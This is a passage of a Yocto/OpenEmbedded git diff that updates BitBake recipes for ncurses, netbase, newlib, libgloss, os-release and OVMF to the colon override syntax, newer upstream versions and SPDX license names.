-CONFIG_SITE =+ "${WORKDIR}/config.cache"
+
+CACHED_CONFIGUREVARS = "cf_cv_func_nanosleep=yes"
+CACHED_CONFIGUREVARS:append:linux = " cf_cv_working_poll=yes"
EXTRASITECONFIG = "CFLAGS='${CFLAGS} -I${SYSROOT_DESTDIR}${includedir}'"
@@ -31,17 +33,17 @@ ENABLE_WIDEC ?= "true"
BUILD_CPPFLAGS += "-D_GNU_SOURCE"
# natives don't generally look in base_libdir
-base_libdir_class-native = "${libdir}"
+base_libdir:class-native = "${libdir}"
# Display corruption occurs on 64 bit hosts without these settings
# This was derrived from the upstream debian ncurses which uses
# these settings for 32 and 64 bit hosts.
EXCONFIG_ARGS = ""
-EXCONFIG_ARGS_class-native = " \
+EXCONFIG_ARGS:class-native = " \
--disable-lp64 \
--with-chtype='long' \
--with-mmask-t='long'"
-EXCONFIG_ARGS_class-nativesdk = " \
+EXCONFIG_ARGS:class-nativesdk = " \
--disable-lp64 \
--with-chtype='long' \
--with-mmask-t='long'"
@@ -54,11 +56,11 @@ PACKAGES_DYNAMIC = "^${PN}-lib.*"
# because the sstate had a hard coded search path. Until this is fixed
# another way this is deemed good enough.
EX_TERMCAP = ""
-EX_TERMCAP_class-native = ":/etc/termcap:/usr/share/misc/termcap"
-EX_TERMCAP_class-nativesdk = ":/etc/termcap:/usr/share/misc/termcap"
+EX_TERMCAP:class-native = ":/etc/termcap:/usr/share/misc/termcap"
+EX_TERMCAP:class-nativesdk = ":/etc/termcap:/usr/share/misc/termcap"
EX_TERMINFO = ""
-EX_TERMINFO_class-native = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
-EX_TERMINFO_class-nativesdk = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
+EX_TERMINFO:class-native = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
+EX_TERMINFO:class-nativesdk = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
EX_TERMLIB ?= "tinfo"
# Helper function for do_configure to allow multiple configurations
@@ -87,6 +89,7 @@ ncurses_configure() {
--disable-rpath-hack \
${EXCONFIG_ARGS} \
--with-manpage-format=normal \
+ --without-manpage-renames \
--disable-stripping \
"$@" || return 1
cd ..
@@ -96,10 +99,6 @@ ncurses_configure() {
# patched autoconf213 to generate the configure script. This autoconf
# is not available so that the shipped script will be used.
do_configure() {
- # check does not work with cross-compiling and is generally
- # broken because it requires stdin to be pollable (which is
- # not the case for /dev/null redirections)
- export cf_cv_working_poll=yes
#Remove ${includedir} from CPPFLAGS, need for cross compile
sed -i 's#-I${cf_includedir}##g' ${S}/configure || die "sed CPPFLAGS"
@@ -240,10 +239,9 @@ do_install() {
mv ${D}${libdir}/libtinfo.so.* ${D}${base_libdir}
rm ${D}${libdir}/libtinfo.so
- # Use lnr to ensure this is a relative link despite absolute paths
+ # Use ln -rs to ensure this is a relative link despite absolute paths
# (as we can't know the relationship between base_libdir and libdir).
- # At some point we can rely on coreutils 8.16 which has ln -r.
- lnr ${D}${base_libdir}/libtinfo.so.5 ${D}${libdir}/libtinfo.so
+ ln -rs ${D}${base_libdir}/libtinfo.so.5 ${D}${libdir}/libtinfo.so
fi
if [ -d "${D}${includedir}/ncurses" ]; then
for f in `find ${D}${includedir}/ncurses -name "*.h"`
@@ -256,7 +254,7 @@ do_install() {
oe_multilib_header curses.h
}
-python populate_packages_prepend () {
+python populate_packages:prepend () {
libdir = d.expand("${libdir}")
base_libdir = d.expand("${base_libdir}")
pnbase = d.expand("${PN}-lib%s")
@@ -270,7 +268,12 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_ncurses-tools_class-target = "clear reset"
+ALTERNATIVE:ncurses-tools:class-target = "clear reset"
+ALTERNATIVE:ncurses-terminfo:class-target = "st st-256color"
+
+ALTERNATIVE_LINK_NAME[st] = "${datadir}/terminfo/s/st"
+
+ALTERNATIVE_LINK_NAME[st-256color] = "${datadir}/terminfo/s/st-256color"
BBCLASSEXTEND = "native nativesdk"
@@ -280,7 +283,7 @@ PACKAGES += " \
${PN}-terminfo \
"
-FILES_${PN} = "\
+FILES:${PN} = "\
${bindir}/tput \
${bindir}/tset \
${bindir}/ncurses5-config \
@@ -292,7 +295,7 @@ FILES_${PN} = "\
# This keeps only tput/tset in ncurses
# clear/reset are in already busybox
-FILES_${PN}-tools = "\
+FILES:${PN}-tools = "\
${bindir}/tic \
${bindir}/toe \
${bindir}/infotocap \
@@ -305,15 +308,20 @@ FILES_${PN}-tools = "\
"
# 'reset' is a symlink to 'tset' which is in the 'ncurses' package
-RDEPENDS_${PN}-tools = "${PN}"
+RDEPENDS:${PN}-tools = "${PN} ${PN}-terminfo-base"
-FILES_${PN}-terminfo = "\
+FILES:${PN}-terminfo = "\
${datadir}/terminfo \
"
-FILES_${PN}-terminfo-base = "\
+FILES:${PN}-terminfo-base = "\
${sysconfdir}/terminfo \
"
-RSUGGESTS_${PN}-libtinfo = "${PN}-terminfo"
-RRECOMMENDS_${PN}-libtinfo = "${PN}-terminfo-base"
+RSUGGESTS:${PN}-libtinfo = "${PN}-terminfo"
+RRECOMMENDS:${PN}-libtinfo = "${PN}-terminfo-base"
+
+# Putting terminfo into the sysroot adds around 2800 files to
+# each recipe specific sysroot. We can live without this, particularly
+# as many recipes may have native and target copies.
+SYSROOT_DIRS:remove = "${datadir}"
diff --git a/meta/recipes-core/ncurses/ncurses_6.1+20190803.bb b/meta/recipes-core/ncurses/ncurses_6.1+20190803.bb
deleted file mode 100644
index e638a3737c..0000000000
--- a/meta/recipes-core/ncurses/ncurses_6.1+20190803.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require ncurses.inc
-
-SRC_URI += "file://0001-tic-hang.patch \
- file://0002-configure-reproducible.patch \
- file://config.cache \
- file://0001-ncurses-selective-backport-of-20191012-patch.patch \
-"
-# commit id corresponds to the revision in package version
-SRCREV = "3c9b2677c96c645496997321bf2fe465a5e7e21f"
-S = "${WORKDIR}/git"
-EXTRA_OECONF += "--with-abi-version=5 --cache-file=${B}/config.cache"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+(\+\d+)*)"
diff --git a/meta/recipes-core/ncurses/ncurses_6.3.bb b/meta/recipes-core/ncurses/ncurses_6.3.bb
new file mode 100644
index 0000000000..f0256dad22
--- /dev/null
+++ b/meta/recipes-core/ncurses/ncurses_6.3.bb
@@ -0,0 +1,14 @@
+require ncurses.inc
+
+SRC_URI += "file://0001-tic-hang.patch \
+ file://0002-configure-reproducible.patch \
+ file://0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch \
+ "
+# commit id corresponds to the revision in package version
+SRCREV = "51d0fd9cc3edb975f04224f29f777f8f448e8ced"
+S = "${WORKDIR}/git"
+EXTRA_OECONF += "--with-abi-version=5"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)$"
+
+# This is needed when using patchlevel versions like 6.1+20181013
+#CVE_VERSION = "${@d.getVar("PV").split('+')[0]}.${@d.getVar("PV").split('+')[1]}"
diff --git a/meta/recipes-core/netbase/netbase/netbase-add-rpcbind-as-an-alias-to-sunrpc.patch b/meta/recipes-core/netbase/netbase/netbase-add-rpcbind-as-an-alias-to-sunrpc.patch
deleted file mode 100644
index 27ba2f68a2..0000000000
--- a/meta/recipes-core/netbase/netbase/netbase-add-rpcbind-as-an-alias-to-sunrpc.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 52d46c4d1fbd4c88d69c2fcf7837b2f2ba7ef6f2 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Thu, 12 Jan 2017 16:50:58 +0200
-Subject: [PATCH] netbase: add rpcbind as an alias to sunrpc
-
-the patch comes from:
-https://bugs.archlinux.org/task/20273
-
-Upstream-Status: Pending
-
-Signed-off-by: Li Wang <li.wang@windriver.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
-
----
- etc-rpc | 2 +-
- etc-services | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/etc-rpc b/etc-rpc
-index 1b30625..9a9a81a 100644
---- a/etc-rpc
-+++ b/etc-rpc
-@@ -1,7 +1,7 @@
- # This file contains user readable names that can be used in place of rpc
- # program numbers.
-
--portmapper 100000 portmap sunrpc
-+portmapper 100000 portmap sunrpc rpcbind
- rstatd 100001 rstat rstat_svc rup perfmeter
- rusersd 100002 rusers
- nfs 100003 nfsprog
-diff --git a/etc-services b/etc-services
-index fa7ae24..10ba2bc 100644
---- a/etc-services
-+++ b/etc-services
-@@ -51,8 +51,8 @@ kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5
- iso-tsap 102/tcp tsap # part of ISODE
- acr-nema 104/tcp dicom # Digital Imag. & Comm. 300
- pop3 110/tcp pop-3 # POP version 3
--sunrpc 111/tcp portmapper # RPC 4.0 portmapper
--sunrpc 111/udp portmapper
-+sunrpc 111/tcp portmapper rpcbind # RPC 4.0 portmapper
-+sunrpc 111/udp portmapper rpcbind
- auth 113/tcp authentication tap ident
- sftp 115/tcp
- nntp 119/tcp readnews untp # USENET News Transfer Protocol
diff --git a/meta/recipes-core/netbase/netbase_5.6.bb b/meta/recipes-core/netbase/netbase_5.6.bb
deleted file mode 100644
index 2aa49711cc..0000000000
--- a/meta/recipes-core/netbase/netbase_5.6.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Basic TCP/IP networking support"
-DESCRIPTION = "This package provides the necessary infrastructure for basic TCP/IP based networking"
-HOMEPAGE = "http://packages.debian.org/netbase"
-SECTION = "base"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
-PE = "1"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}.tar.xz \
- file://netbase-add-rpcbind-as-an-alias-to-sunrpc.patch"
-
-SRC_URI[md5sum] = "7ad156272c5a42f49c73386ff39c8624"
-SRC_URI[sha256sum] = "5d93a099deb28869b7306e914700fafbd293b55bdb5df05a5aa6effd0af5930c"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netbase/"
-do_install () {
- install -d ${D}/${mandir}/man8 ${D}${sysconfdir}
- install -m 0644 etc-rpc ${D}${sysconfdir}/rpc
- install -m 0644 etc-protocols ${D}${sysconfdir}/protocols
- install -m 0644 etc-services ${D}${sysconfdir}/services
-}
diff --git a/meta/recipes-core/netbase/netbase_6.3.bb b/meta/recipes-core/netbase/netbase_6.3.bb
new file mode 100644
index 0000000000..bec6498cdd
--- /dev/null
+++ b/meta/recipes-core/netbase/netbase_6.3.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Basic TCP/IP networking support"
+DESCRIPTION = "This package provides the necessary infrastructure for basic TCP/IP based networking"
+HOMEPAGE = "http://packages.debian.org/netbase"
+SECTION = "base"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
+PE = "1"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}.tar.xz"
+
+inherit allarch
+
+SRC_URI[sha256sum] = "7c42a6a1cafa0c64103c71cab6431fc8613179b2449a1a00e55e3584e860d81c"
+
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netbase/"
+
+do_install () {
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${S}/etc/rpc ${D}${sysconfdir}/rpc
+ install -m 0644 ${S}/etc/protocols ${D}${sysconfdir}/protocols
+ install -m 0644 ${S}/etc/services ${D}${sysconfdir}/services
+ install -m 0644 ${S}/etc/ethertypes ${D}${sysconfdir}/ethertypes
+}
diff --git a/meta/recipes-core/newlib/libgloss_3.1.0.bb b/meta/recipes-core/newlib/libgloss_3.1.0.bb
deleted file mode 100644
index c9ed30d988..0000000000
--- a/meta/recipes-core/newlib/libgloss_3.1.0.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-require newlib.inc
-
-DEPENDS += "newlib"
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/libgloss:"
-
-SRC_URI_append_powerpc = " file://fix-rs6000-crt0.patch"
-SRC_URI_append_arm = " file://fix_makefile_include_arm_h.patch"
-
-do_configure() {
- ${S}/libgloss/configure ${EXTRA_OECONF}
-}
-
-do_install_prepend() {
- # install doesn't create this itself, avoid install error
- install -d ${D}${prefix}/${TARGET_SYS}/lib
-}
-
-do_install_append() {
- # Move libs to default directories so they can be picked up later
- install -d ${D}${libdir}
- mv -v ${D}${prefix}/${TARGET_SYS}/lib/* ${D}${libdir}
-
- # Remove original directory
- rmdir -p --ignore-fail-on-non-empty ${D}${prefix}/${TARGET_SYS}/lib
-}
-
-# Split packages correctly
-FILES_${PN} += "${libdir}/*.ld ${libdir}/*.specs"
-FILES_${PN}-dev += "${libdir}/cpu-init/*"
-
-INHIBIT_PACKAGE_STRIP = "1"
-INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-core/newlib/libgloss_4.2.0.bb b/meta/recipes-core/newlib/libgloss_4.2.0.bb
new file mode 100644
index 0000000000..8c8ee91395
--- /dev/null
+++ b/meta/recipes-core/newlib/libgloss_4.2.0.bb
@@ -0,0 +1,33 @@
+require newlib.inc
+
+DEPENDS += "newlib"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/libgloss:"
+
+SRC_URI:append:powerpc = " file://fix-rs6000-crt0.patch"
+SRC_URI:append:arm = " file://fix_makefile_include_arm_h.patch"
+
+do_configure() {
+ ${S}/libgloss/configure ${EXTRA_OECONF}
+}
+
+do_install:prepend() {
+ # install doesn't create this itself, avoid install error
+ install -d ${D}${prefix}/${TARGET_SYS}/lib
+}
+
+do_install:append() {
+ # Move libs to default directories so they can be picked up later
+ install -d ${D}${libdir}
+ mv -v ${D}${prefix}/${TARGET_SYS}/lib/* ${D}${libdir}
+
+ # Remove original directory
+ rmdir -p --ignore-fail-on-non-empty ${D}${prefix}/${TARGET_SYS}/lib
+}
+
+# Split packages correctly
+FILES:${PN} += "${libdir}/*.ld ${libdir}/*.specs"
+FILES:${PN}-dev += "${libdir}/cpu-init/*"
+
+INHIBIT_PACKAGE_STRIP = "1"
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-core/newlib/newlib.inc b/meta/recipes-core/newlib/newlib.inc
index 2f0553bd63..27b52a43af 100644
--- a/meta/recipes-core/newlib/newlib.inc
+++ b/meta/recipes-core/newlib/newlib.inc
@@ -3,30 +3,35 @@ HOMEPAGE = "https://sourceware.org/newlib/"
DESCRIPTION = "C library intended for use on embedded systems. It is a conglomeration of several library parts, all under free software licenses that make them easily usable on embedded products."
SECTION = "libs"
-LICENSE = "GPLv2 & LGPLv3 & GPLv3 & LGPLv2 & BSD-2-Clause"
+LICENSE = "GPL-2.0-only & LGPL-3.0-only & GPL-3.0-only & LGPL-2.0-only & BSD-2-Clause & BSD-3-Clause & TCL"
LIC_FILES_CHKSUM = " \
file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LIBGLOSS;md5=73f5c98779aea7dba4a6c94a74ab0ae2 \
+ file://COPYING.LIBGLOSS;md5=c0469b6ebb847a75781066be515f032d \
file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://COPYING.NEWLIB;md5=100d470af54e2d1d79fbd8498a32ff26 \
+ file://COPYING.NEWLIB;md5=8bb75595dbcc7d45e5c0d116d7bdf6ce \
file://newlib/libc/posix/COPYRIGHT;md5=103468ff1982be840fdf4ee9f8b51bbf \
file://newlib/libc/sys/linux/linuxthreads/LICENSE;md5=73640207fbc79b198c7ffd4ad4d97aa0 \
"
-SRC_URI = "https://sourceware.org/pub/newlib/newlib-${PV}.tar.gz"
-SRC_URI[md5sum] = "f84263b7d524df92a9c9fb30b79e0134"
-SRC_URI[sha256sum] = "fb4fa1cc21e9060719208300a61420e4089d6de6ef59cf533b57fe74801d102a"
+# Newlib maintainers sometimes publish the source
+# from a specific snapshot, after an upgrade we can
+# delete the following line and keep the empty default
+NEWLIB_SNAPSHOT = ".20211231"
+NEWLIB_SNAPSHOT ?= ""
+SRC_URI = "https://sourceware.org/pub/newlib/newlib-${PV}${NEWLIB_SNAPSHOT}.tar.gz"
+SRC_URI[sha256sum] = "c3a0e8b63bc3bef1aeee4ca3906b53b3b86c8d139867607369cb2915ffc54435"
+
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS = "virtual/${TARGET_PREFIX}gcc"
-S = "${WORKDIR}/newlib-${PV}"
+S = "${WORKDIR}/newlib-${PV}${NEWLIB_SNAPSHOT}"
B = "${WORKDIR}/build"
## disable stdlib
-TARGET_CC_ARCH_append = " -nostdlib"
+TARGET_CC_ARCH:append = " -nostdlib"
EXTRA_OECONF = " \
--build=${BUILD_SYS} \
@@ -42,6 +47,7 @@ EXTRA_OECONF = " \
--with-gnu-as \
--with-gnu-ld \
--disable-multilib \
+ --disable-newlib-supplied-syscalls \
"
do_configure[cleandirs] = "${B}"
@@ -50,5 +56,5 @@ do_install() {
oe_runmake install DESTDIR='${D}'
}
-COMPATIBLE_HOST_libc-musl_class-target = "null"
-COMPATIBLE_HOST_libc-glibc_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+COMPATIBLE_HOST:libc-glibc:class-target = "null"
diff --git a/meta/recipes-core/newlib/newlib_3.1.0.bb b/meta/recipes-core/newlib/newlib_3.1.0.bb
deleted file mode 100644
index 7ab5b2b94e..0000000000
--- a/meta/recipes-core/newlib/newlib_3.1.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require newlib.inc
-
-PROVIDES += "virtual/libc virtual/libiconv virtual/libintl"
-
-do_configure() {
- export CC_FOR_TARGET="${CC}"
- ${S}/configure ${EXTRA_OECONF}
-}
-
-do_install_append() {
- # Move include files and libs to default directories so they can be picked up later
- mv -v ${D}${prefix}/${TARGET_SYS}/lib ${D}${libdir}
- mv -v ${D}${prefix}/${TARGET_SYS}/include ${D}${includedir}
-
- # Remove original directory
- rmdir ${D}${prefix}/${TARGET_SYS}
-}
-
-# No rpm package is actually created but -dev depends on it, avoid dnf error
-RDEPENDS_${PN}-dev_libc-newlib = ""
diff --git a/meta/recipes-core/newlib/newlib_4.2.0.bb b/meta/recipes-core/newlib/newlib_4.2.0.bb
new file mode 100644
index 0000000000..0542c596ba
--- /dev/null
+++ b/meta/recipes-core/newlib/newlib_4.2.0.bb
@@ -0,0 +1,20 @@
+require newlib.inc
+
+PROVIDES += "virtual/libc virtual/libiconv virtual/libintl"
+
+do_configure() {
+ export CC_FOR_TARGET="${CC}"
+ ${S}/configure ${EXTRA_OECONF}
+}
+
+do_install:append() {
+ # Move include files and libs to default directories so they can be picked up later
+ mv -v ${D}${prefix}/${TARGET_SYS}/lib ${D}${libdir}
+ mv -v ${D}${prefix}/${TARGET_SYS}/include ${D}${includedir}
+
+ # Remove original directory
+ rmdir ${D}${prefix}/${TARGET_SYS}
+}
+
+# No rpm package is actually created but -dev depends on it, avoid dnf error
+RDEPENDS:${PN}-dev:libc-newlib = ""
diff --git a/meta/recipes-core/os-release/os-release.bb b/meta/recipes-core/os-release/os-release.bb
index d5793c6fed..637d059e8b 100644
--- a/meta/recipes-core/os-release/os-release.bb
+++ b/meta/recipes-core/os-release/os-release.bb
@@ -12,7 +12,10 @@ do_configure[noexec] = "1"
# Other valid fields: BUILD_ID ID_LIKE ANSI_COLOR CPE_NAME
# HOME_URL SUPPORT_URL BUG_REPORT_URL
-OS_RELEASE_FIELDS = "ID ID_LIKE NAME VERSION VERSION_ID PRETTY_NAME"
+OS_RELEASE_FIELDS = "\
+ ID ID_LIKE NAME VERSION VERSION_ID PRETTY_NAME DISTRO_CODENAME \
+"
+OS_RELEASE_UNQUOTED_FIELDS = "ID VERSION_ID VARIANT_ID"
ID = "${DISTRO}"
NAME = "${DISTRO_NAME}"
@@ -22,8 +25,8 @@ PRETTY_NAME = "${DISTRO_NAME} ${VERSION}"
BUILD_ID ?= "${DATETIME}"
BUILD_ID[vardepsexclude] = "DATETIME"
-def sanitise_version(ver):
- # VERSION_ID should be (from os-release(5)):
+def sanitise_value(ver):
+ # unquoted fields like VERSION_ID should be (from os-release(5)):
# lower-case string (mostly numeric, no spaces or other characters
# outside of 0-9, a-z, ".", "_" and "-")
ret = ver.replace('+', '-').replace(' ','_')
@@ -32,18 +35,21 @@ def sanitise_version(ver):
python do_compile () {
with open(d.expand('${B}/os-release'), 'w') as f:
for field in d.getVar('OS_RELEASE_FIELDS').split():
+ unquotedFields = d.getVar('OS_RELEASE_UNQUOTED_FIELDS').split()
value = d.getVar(field)
- if value and field == 'VERSION_ID':
- value = sanitise_version(value)
if value:
- f.write('{0}="{1}"\n'.format(field, value))
+ if field in unquotedFields:
+ value = sanitise_value(value)
+ f.write('{0}={1}\n'.format(field, value))
+ else:
+ f.write('{0}="{1}"\n'.format(field, value))
}
do_compile[vardeps] += "${OS_RELEASE_FIELDS}"
do_install () {
install -d ${D}${nonarch_libdir} ${D}${sysconfdir}
install -m 0644 os-release ${D}${nonarch_libdir}/
- lnr ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/os-release
+ ln -rs ${D}${nonarch_libdir}/os-release ${D}${sysconfdir}/os-release
}
-FILES_${PN} += "${nonarch_libdir}/os-release"
+FILES:${PN} += "${nonarch_libdir}/os-release"
diff --git a/meta/recipes-core/ovmf/ovmf-shell-image.bb b/meta/recipes-core/ovmf/ovmf-shell-image.bb
index 0d2b8bf52f..50c4517da3 100644
--- a/meta/recipes-core/ovmf/ovmf-shell-image.bb
+++ b/meta/recipes-core/ovmf/ovmf-shell-image.bb
@@ -1,10 +1,11 @@
DESCRIPTION = "boot image with UEFI shell and tools"
+COMPATIBLE_HOST:class-target='(i.86|x86_64).*'
# For this image recipe, only the wic format with a
# single vfat partition makes sense. Because we have no
# boot loader and no rootfs partition, not additional
# tools are needed for this .wks file.
-IMAGE_FSTYPES_forcevariable = 'wic'
+IMAGE_FSTYPES:forcevariable = 'wic'
WKS_FILE = "ovmf/ovmf-shell-image.wks"
WKS_FILE_DEPENDS = ""
diff --git a/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch b/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
new file mode 100644
index 0000000000..89d9ffab5e
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch
@@ -0,0 +1,33 @@
+From 1125f5a02c2f327aeffe2d6b66a9d816ad2eeec0 Mon Sep 17 00:00:00 2001
+From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
+Date: Thu, 9 Jun 2016 02:23:01 -0700
+Subject: [PATCH 1/6] ovmf: update path to native BaseTools
+
+BaseTools is a set of utilities to build EDK-based firmware. These utilities
+are used during the build process. Thus, they need to be built natively.
+When cross-compiling, we need to provide a path to the location of these
+tools. The BBAKE_EDK_TOOLS_PATH string is used as a pattern to be replaced
+with the appropriate location before building.
+
+Signed-off-by: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
+Upstream-Status: Pending
+---
+ OvmfPkg/build.sh | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/OvmfPkg/build.sh b/OvmfPkg/build.sh
+index 91b1442ade..1858dae31a 100755
+--- a/OvmfPkg/build.sh
++++ b/OvmfPkg/build.sh
+@@ -24,7 +24,7 @@ then
+ # this assumes svn pulls have the same root dir
+ # export EDK_TOOLS_PATH=`pwd`/../BaseTools
+ # This version is for the tools source in edk2
+- export EDK_TOOLS_PATH=`pwd`/BaseTools
++ export EDK_TOOLS_PATH=BBAKE_EDK_TOOLS_PATH/BaseTools
+ echo $EDK_TOOLS_PATH
+ source edksetup.sh BaseTools
+ else
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch b/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
new file mode 100644
index 0000000000..f6141c8af5
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
@@ -0,0 +1,66 @@
+From 19d4c7f9812062a683b3ba60b35aac0461190456 Mon Sep 17 00:00:00 2001
+From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
+Date: Fri, 26 Jul 2019 17:34:26 -0400
+Subject: [PATCH 2/6] BaseTools: makefile: adjust to build in under bitbake
+
+Prepend the build flags with those of bitbake. This is to build
+using the bitbake native sysroot include and library directories.
+
+Signed-off-by: Ricardo Neri <ricardo.neri@linux.intel.com>
+Upstream-Status: Pending
+---
+ BaseTools/Source/C/Makefiles/header.makefile | 17 +++++++++--------
+ 1 file changed, 9 insertions(+), 8 deletions(-)
+
+diff --git a/BaseTools/Source/C/Makefiles/header.makefile b/BaseTools/Source/C/Makefiles/header.makefile
+index 0df728f327..1299d47c87 100644
+--- a/BaseTools/Source/C/Makefiles/header.makefile
++++ b/BaseTools/Source/C/Makefiles/header.makefile
+@@ -75,35 +75,36 @@ $(error Bad HOST_ARCH)
+ endif
+
+ INCLUDE = $(TOOL_INCLUDE) -I $(MAKEROOT) -I $(MAKEROOT)/Include/Common -I $(MAKEROOT)/Include/ -I $(MAKEROOT)/Include/IndustryStandard -I $(MAKEROOT)/Common/ -I .. -I . $(ARCH_INCLUDE)
+-BUILD_CPPFLAGS = $(INCLUDE)
++BUILD_CPPFLAGS += $(INCLUDE)
+
+ # keep EXTRA_OPTFLAGS last
+ BUILD_OPTFLAGS = -O2 $(EXTRA_OPTFLAGS)
+
+ ifeq ($(DARWIN),Darwin)
+ # assume clang or clang compatible flags on OS X
+-BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
++BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -Wall -Werror \
+ -Wno-deprecated-declarations -Wno-self-assign -Wno-unused-result -nostdlib -g
+ else
+ ifeq ($(CXX), llvm)
+-BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
++BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
+ -fno-delete-null-pointer-checks -Wall -Werror \
+ -Wno-deprecated-declarations -Wno-self-assign \
+ -Wno-unused-result -nostdlib -g
+ else
+-BUILD_CFLAGS = -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
++BUILD_CFLAGS += -MD -fshort-wchar -fno-strict-aliasing -fwrapv \
+ -fno-delete-null-pointer-checks -Wall -Werror \
+ -Wno-deprecated-declarations -Wno-stringop-truncation -Wno-restrict \
+ -Wno-unused-result -nostdlib -g
+ endif
+ endif
+ ifeq ($(CXX), llvm)
+-BUILD_LFLAGS =
+-BUILD_CXXFLAGS = -Wno-deprecated-register -Wno-unused-result
++BUILD_LFLAGS = $(LDFLAGS)
++BUILD_CXXFLAGS += -Wno-deprecated-register -Wno-unused-result
+ else
+-BUILD_LFLAGS =
+-BUILD_CXXFLAGS = -Wno-unused-result
++BUILD_LFLAGS = $(LDFLAGS)
++BUILD_CXXFLAGS += -Wno-unused-result
+ endif
++
+ ifeq ($(HOST_ARCH), IA32)
+ #
+ # Snow Leopard is a 32-bit and 64-bit environment. uname -m returns i386, but gcc defaults
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/0002-ovmf-update-path-to-native-BaseTools.patch b/meta/recipes-core/ovmf/ovmf/0002-ovmf-update-path-to-native-BaseTools.patch
deleted file mode 100644
index 94ae5d4496..0000000000
--- a/meta/recipes-core/ovmf/ovmf/0002-ovmf-update-path-to-native-BaseTools.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 9e632e3f9edd09632cc877dff6ea57608f979aab Mon Sep 17 00:00:00 2001
-From: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
-Date: Thu, 9 Jun 2016 02:23:01 -0700
-Subject: [PATCH] ovmf: update path to native BaseTools
-
-BaseTools is a set of utilities to build EDK-based firmware. These utilities
-are used during the build process. Thus, they need to be built natively.
-When cross-compiling, we need to provide a path to the location of these
-tools. The BBAKE_EDK_TOOLS_PATH string is used as a pattern to be replaced
-with the appropriate location before building.
-
-Signed-off-by: Ricardo Neri <ricardo.neri-calderon@linux.intel.com>
-Upstream-Status: Pending
----
- OvmfPkg/build.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/OvmfPkg/build.sh b/OvmfPkg/build.sh
-index eb5eb73..9058fca 100755
---- a/OvmfPkg/build.sh
-+++ b/OvmfPkg/build.sh
-@@ -30,7 +30,7 @@ then
- # this assumes svn pulls have the same root dir
- # export EDK_TOOLS_PATH=`pwd`/../BaseTools
- # This version is for the tools source in edk2
-- export EDK_TOOLS_PATH=`pwd`/BaseTools
-+ export EDK_TOOLS_PATH=BBAKE_EDK_TOOLS_PATH/BaseTools
- echo $EDK_TOOLS_PATH
- source edksetup.sh BaseTools
- else
---
-2.8.1
-
diff --git a/meta/recipes-core/ovmf/ovmf/0003-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch b/meta/recipes-core/ovmf/ovmf/0003-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch
deleted file mode 100644
